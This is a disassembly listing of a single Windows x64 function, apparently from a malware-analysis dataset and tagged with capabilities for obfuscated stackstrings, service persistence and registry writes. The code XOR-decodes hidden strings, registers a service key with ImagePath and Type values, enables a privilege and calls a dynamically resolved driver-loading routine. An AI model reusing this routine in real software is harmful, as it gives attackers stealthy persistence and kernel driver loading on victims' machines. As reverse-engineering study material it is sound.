Function at 0x14000ba80
Capabilities:
Contain obfuscated stackstrings
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x118], rax
mov rbx, rcx
lea rcx, [rbp + 0xe8]
call fcn.140005930
nop
mov edx, 0x69
mov dword [rsp + 0x60], 0x3a0069
mov dword [rsp + 0x64], 0x3a0030
mov dword [rsp + 0x68], 0x2c003d
mov dword [rsp + 0x6c], 0x350024
mov dword [rsp + 0x70], 0x1c002a
mov dword [rsp + 0x74], 0x1b001b
mov dword [rsp + 0x78], 0x7000c
mov dword [rsp + 0x7c], 0x2a001d
mov dword [rbp - 0x80], 0x70006
mov dword [rbp - 0x7c], 0x1b001d
mov dword [rbp - 0x78], 0x50006
mov dword [rbp - 0x74], 0xc003a
mov dword [rbp - 0x70], 0x35001d
mov dword [rbp - 0x6c], 0xc003a
mov dword [rbp - 0x68], 0x1f001b
xor esi, esi
mov dword [rbp - 0x64], 0xa0000
mov dword [rbp - 0x60], 0x1a000c
mov dword [rbp - 0x5c], 0x690035
movzx eax, word [0x14002ef76]
xor ax, dx
mov word [rbp - 0x58], ax
movzx eax, word [str.___]
xor ax, dx
mov word [rbp - 0x56], ax
movzx eax, word [0x14002ef7a]
xor ax, dx
mov word [rbp - 0x54], ax
movzx eax, word [0x14002ef7c]
xor ax, dx
mov word [rbp - 0x52], ax
movzx eax, word [0x14002ef7e]
xor ax, dx
mov word [rbp - 0x50], ax
movzx eax, word [0x14002ef80]
xor ax, dx
mov word [rbp - 0x4e], ax
movzx eax, word [0x14002ef82]
xor ax, dx
mov word [rbp - 0x4c], ax
movzx eax, word [0x14002ef84]
xor ax, dx
mov word [rbp - 0x4a], ax
movzx eax, word [0x14002ef86]
xor ax, dx
mov word [rbp - 0x48], ax
movzx eax, word [str.ImagePath]
xor ax, dx
mov word [rbp - 0x46], ax
movzx eax, word [0x14002ef8a]
xor ax, dx
mov word [rbp - 0x44], ax
movzx eax, word [0x14002ef8c]
xor ax, dx
mov word [rbp - 0x42], ax
movzx eax, word [0x14002ef8e]
xor ax, dx
mov word [rbp - 0x40], ax
movzx eax, word [0x14002ef90]
xor ax, dx
mov word [rbp - 0x3e], ax
movzx eax, word [0x14002ef92]
xor ax, dx
mov word [rbp - 0x3c], ax
movzx eax, word [0x14002ef94]
xor ax, dx
mov word [rbp - 0x3a], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 0x38], ax
movzx eax, word [0x14002ef98]
xor ax, dx
mov word [rbp - 0x36], ax
movzx eax, word [0x14002ef9a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002ef9c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002ef9e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [str.Type]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002efa2]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x14002efa4]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002efa6]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002efa8]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x14002efaa]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002efac]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x14002efae]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002efb2]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002efb4]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002efb6]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002efb8]
xor ax, dx
mov word [rbp - 0x16], ax
xor eax, eax
mov word [rbp - 0x14], ax
mov ecx, esi
nop dword [rax]
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
add rcx, 0x17
cmp rcx, 0x45
jae 0x14000be35
movzx edx, word [rsp + 0x60]
jmp 0x14000bd40
mov word [rbp - 0x14], si
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xc8]
call fcn.14000b900
nop
mov r8, rbx
lea rdx, str.___
lea rcx, [rbp + 0x88]
call fcn.14000b900
nop
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x78]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000c8ed
mov eax, dword [rbp + 0x98]
add eax, eax
mov dword [rbp + 0x68], eax
lea rax, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov ecx, reloc.WS2_32.dll_WSACleanup
mov dword [rbp + 0x40], ecx
mov word [rsp + 0x30], cx
lea ebx, [rcx - 0x5f]
lea r12d, [rcx - 0x63]
movzx edi, si
movzx esi, cx
movzx r13d, word [0x14002ef9c]
xor r13w, cx
movzx r14d, word [0x14002ef9e]
xor r14w, cx
movzx r11d, word [str.Type]
xor r11w, cx
movzx r10d, word [0x14002efa2]
xor r10w, cx
movzx r9d, word [0x14002efa4]
xor r9w, cx
movzx r8d, word [0x14002efa6]
xor r8w, cx
movzx edx, word [0x14002efa8]
xor dx, cx
movzx ecx, word [0x14002efaa]
xor cx, si
movzx eax, word [0x14002efac]
xor ax, si
mov r15d, 0x3d
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x32], r15w
mov r15d, 0x19
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x34], r15w
mov r15d, ebx
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x36], r15w
mov r15d, reloc.WS2_32.dll_send
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x38], r15w
xor r12w, si
mov word [rsp + 0x3a], r12w
mov r15d, 0x24
mov r12d, reloc.WS2_32.dll_WSACleanup
xor r15w, r12w
mov word [rsp + 0x3c], r15w
xor bx, r12w
mov word [rsp + 0x3e], bx
xor di, r12w
mov word [rsp + 0x40], di
mov ebx, 0x1c
xor bx, r12w
mov word [rsp + 0x42], bx
xor si, r12w
mov word [rsp + 0x44], si
xor r13w, r12w
mov word [rsp + 0x46], r13w
xor r14w, r12w
mov word [rsp + 0x48], r14w
xor r11w, r12w
mov word [rsp + 0x4a], r11w
xor r10w, r12w
mov word [rsp + 0x4c], r10w
xor r9w, r12w
mov word [rsp + 0x4e], r9w
xor r8w, r12w
mov word [rsp + 0x50], r8w
xor dx, r12w
mov word [rsp + 0x52], dx
xor cx, r12w
mov word [rsp + 0x54], cx
xor ax, r12w
mov word [rsp + 0x56], ax
xor esi, esi
mov word [rsp + 0x58], si
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9d, [r12 - 0x72]
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
je 0x14000c060
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c8ed
mov ebx, 0x7e
mov word [rsp + 0x30], bx
lea r9d, [rbx - 0x70]
movzx edx, bx
movzx r10d, word [0x14002efaa]
xor r10w, bx
movzx r8d, word [0x14002efac]
xor r8w, bx
movzx ecx, word [0x14002efae]
xor cx, bx
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, bx
mov r11d, 0x2a
xor r11w, bx
mov word [rsp + 0x32], r11w
mov r11d, 7
xor r11w, bx
mov word [rsp + 0x34], r11w
xor r9w, bx
mov word [rsp + 0x36], r9w
mov r9d, 0x1b
xor r9w, bx
mov word [rsp + 0x38], r9w
xor dx, bx
mov word [rsp + 0x3a], dx
xor r10w, bx
mov word [rsp + 0x3c], r10w
xor r8w, bx
mov word [rsp + 0x3e], r8w
xor cx, bx
mov word [rsp + 0x40], cx
xor ax, bx
mov word [rsp + 0x42], ax
mov word [rsp + 0x44], si
mov dword [rsp + 0x28], 4
lea rax, [0x14002ef20]
mov qword [rsp + 0x20], rax
lea r9d, [rbx - 0x7a]
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x78]
test eax, eax
je 0x14000c144
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c8ed
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [rbp + 0x48], 0x54
mov al, 0x3a
mov cl, 0x20
mov dl, 0x30
mov r8b, 0x38
movzx r9d, r8b
mov r10b, 0x7a
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor al, 0x54
mov byte [rbp + 0x49], al
xor cl, 0x54
mov byte [rbp + 0x4a], cl
xor dl, 0x54
mov byte [rbp + 0x4b], dl
xor r8b, 0x54
mov byte [rbp + 0x4c], r8b
xor r9b, 0x54
mov byte [rbp + 0x4d], r9b
xor r10b, 0x54
mov byte [rbp + 0x4e], r10b
xor r11b, 0x54
mov byte [rbp + 0x4f], r11b
xor bl, 0x54
mov byte [rbp + 0x50], bl
xor dil, 0x54
mov byte [rbp + 0x51], dil
mov byte [rbp + 0x52], sil
lea rcx, [rbp + 0x49]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14000c8ed
movdqa xmm1, xmmword [str.2_FsVXGAFb__D_]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x57
mov r8b, 0x55
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], sil
lea rdx, [rsp + 0x31]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x58], 0x4b
mov cl, 5
mov dl, 0x3f
mov r8b, 7
mov r9b, 0x24
mov r10b, 0x2a
mov r11b, 0x2f
mov bl, recv
mov dil, 0x39
mov sil, 0x22
mov r14b, 0x3d
mov r15b, 0x2e
movzx r12d, dil
xor eax, eax
xor cl, 0x4b
mov byte [rbp + 0x59], cl
xor dl, 0x4b
mov byte [rbp + 0x5a], dl
xor r8b, 0x4b
mov byte [rbp + 0x5b], r8b
xor r9b, 0x4b
mov byte [rbp + 0x5c], r9b
xor r10b, 0x4b
mov byte [rbp + 0x5d], r10b
xor r11b, 0x4b
mov byte [rbp + 0x5e], r11b
xor bl, 0x4b
mov byte [rbp + 0x5f], bl
xor dil, 0x4b
mov byte [rbp + 0x60], dil
xor sil, 0x4b
mov byte [rbp + 0x61], sil
xor r14b, 0x4b
mov byte [rbp + 0x62], r14b
xor r15b, 0x4b
mov byte [rbp + 0x63], r15b
xor r12b, 0x4b
mov byte [rbp + 0x64], r12b
mov byte [rbp + 0x65], al
lea rdx, [rbp + 0x59]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp + 0x80]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call r13
test eax, eax
js 0x14000c8eb
mov edx, 0x37
mov dword [rsp + 0x60], 0x6b0037
mov dword [rsp + 0x64], 0x520065
mov dword [rsp + 0x68], 0x5e0050
mov dword [rsp + 0x6c], 0x430044
mov dword [rsp + 0x70], 0x4e0045
mov dword [rsp + 0x74], 0x7a006b
mov dword [rsp + 0x78], 0x540056
mov dword [rsp + 0x7c], 0x5e005f
mov dword [rbp - 0x80], 0x520059
mov dword [rbp - 0x7c], 0x64006b
mov dword [rbp - 0x78], 0x44004e
mov dword [rbp - 0x74], 0x520043
mov dword [rbp - 0x70], 0x6b005a
mov dword [rbp - 0x6c], 0x420074
mov dword [rbp - 0x68], 0x450045
mov dword [rbp - 0x64], 0x590052
mov dword [rbp - 0x60], 0x740043
mov dword [rbp - 0x5c], 0x590058
mov dword [rbp - 0x58], 0x450043
mov dword [rbp - 0x54], 0x5b0058
mov dword [rbp - 0x50], 0x520064
mov dword [rbp - 0x4c], 0x6b0043
mov dword [rbp - 0x48], 0x520064
mov dword [rbp - 0x44], 0x410045
mov dword [rbp - 0x40], 0x54005e
mov dword [rbp - 0x3c], 0x440052
mov dword [rbp - 0x38], 0x37006b
movzx eax, word [0x14002f01a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002f01c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002f01e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [0x14002f020]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002f022]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x14002f024]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002f026]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002f028]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x14002f02a]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002f02c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x14002f02e]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.2_FsVXGAFb__D_]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002f032]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002f034]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002f036]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002f038]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x14002f03a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x14002f03c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x14002f03e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x14002f040]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x14002f042]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x14002f044]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x14002f046]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [vtable.type_info.0]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [0x14002f04a]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x14002f04c]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x14002f04e]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x14002f050]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [0x14002f052]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x14002f054]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x14002f056]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [0x14002f058]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x14002f05a]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x14002f05c]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [0x14002f05e]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x14002f060]
xor ax, dx
mov word [rbp + 0x12], ax
movzx eax, word [0x14002f062]
xor ax, dx
mov word [rbp + 0x14], ax
movzx eax, word [0x14002f064]
xor ax, dx
mov word [rbp + 0x16], ax
movzx eax, word [0x14002f066]
xor ax, dx
mov word [rbp + 0x18], ax
movzx eax, word [0x14002f068]
xor ax, dx
mov word [rbp + 0x1a], ax
movzx eax, word [0x14002f06a]
xor ax, dx
mov word [rbp + 0x1c], ax
movzx eax, word [0x14002f06c]
xor ax, dx
mov word [rbp + 0x1e], ax
movzx eax, word [0x14002f06e]
xor ax, dx
mov word [rbp + 0x20], ax
movzx eax, word [str.bad_allocation]
xor ax, dx
mov word [rbp + 0x22], ax
movzx eax, word [0x14002f072]
xor ax, dx
mov word [rbp + 0x24], ax
movzx eax, word [0x14002f074]
xor ax, dx
mov word [rbp + 0x26], ax
movzx eax, word [0x14002f076]
xor ax, dx
mov word [rbp + 0x28], ax
movzx eax, word [0x14002f078]
xor ax, dx
mov word [rbp + 0x2a], ax
movzx eax, word [0x14002f07a]
xor ax, dx
mov word [rbp + 0x2c], ax
movzx eax, word [0x14002f07c]
xor ax, dx
mov word [rbp + 0x2e], ax
movzx eax, word [0x14002f07e]
xor ax, dx
mov word [rbp + 0x30], ax
movzx eax, word [0x14002f080]
xor ax, dx
mov word [rbp + 0x32], ax
xor eax, eax
mov word [rbp + 0x34], ax
xor esi, esi
mov ecx, esi
nop word [rax + rax]
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x62], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x60], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5a], ax
add rcx, 0x23
cmp rcx, 0x69
jae 0x14000c82d
movzx edx, word [rsp + 0x60]
jmp 0x14000c6c0
mov word [rbp + 0x34], si
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xa8]
call fcn.14000b900
nop
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 7
cmova rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x108]
call sub.ntdll.dll_RtlInitUnicodeString
lea rcx, [rbp + 0x108]
call rbx
mov ebx, eax
cmp eax, 0xc000010e
jne 0x14000c883
mov bl, 1
jmp 0x14000c889
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x14000c8d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c8cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xb8], xmm0
mov word [rbp + 0xa8], si
jmp 0x14000c8ef
xor esi, esi
xor bl, bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x14000c938
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c933
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], si
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x14000c998
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c993
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c993
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xc8], si
mov rdx, qword [rbp + 0x100]
cmp rdx, 7
jbe 0x14000c9f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c9f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c9f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de54
movzx eax, bl
mov rcx, qword [rbp + 0x118]
xor rcx, rsp
call fcn.14000e0f0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret